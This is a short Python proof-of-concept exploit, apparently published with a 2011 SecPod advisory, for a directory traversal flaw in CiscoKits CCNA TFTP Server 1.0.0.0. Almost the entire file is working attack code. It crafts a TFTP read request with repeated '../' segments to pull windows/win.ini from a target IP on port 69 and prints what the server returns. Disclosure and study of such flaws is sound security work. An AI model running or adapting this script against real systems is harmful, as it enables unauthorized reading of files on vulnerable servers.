#!/usr/bin/python
##############################################################################
# Title : CiscoKits TFTP Server Directory Traversal Vulnerability
# Author : Antu Sanadi from SecPod Technologies (www.secpod.com)
# Vendor : http://www.certificationkits.com/cisco-ccna-tftp-server/
# Advisory : http://secpod.org/blog/?p=301
# http://secpod.org/SECPOD_CiscoKits_TFTP_Server_Dir_Trav_POC.py
# http://secpod.org/advisories/SECPOD_CiscoKits_TFTP_Server_Dir_Trav.txt
# Version : CiscoKits CCNA TFTP Server 1.0.0.0
# Date : 21/07/2011
##############################################################################
import sys, socket
def sendPacket(HOST, PORT, data):
'''
Sends UDP Data to a Particular Host on a Specified Port
with a Given Data and Return the Response
'''
udp_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
udp_sock.sendto(data, (HOST, PORT))
data = udp_sock.recv(1024)
udp_sock.close()
return data
if __name__ == "__main__":
if len(sys.argv) < 2:
print "\tUsage: python exploit.py target_ip"
print "\tExample : python exploit.py 127.0.0.1"
print "\tExiting..."
sys.exit(0)
HOST = sys.argv[1] ## The Server IP
PORT = 69 ## Default TFTP port
data = "\x00\x01" ## TFTP Read Request
data += "../" * 10 + "windows/win.ini" + "\x00" ## Read win.ini file using directory traversal
data += "netascii\x00" ## TFTP Type
# netascii
rec_data = sendPacket(HOST, PORT, data)
print "Data Found on the target : %s " %(HOST)
print rec_data.strip()
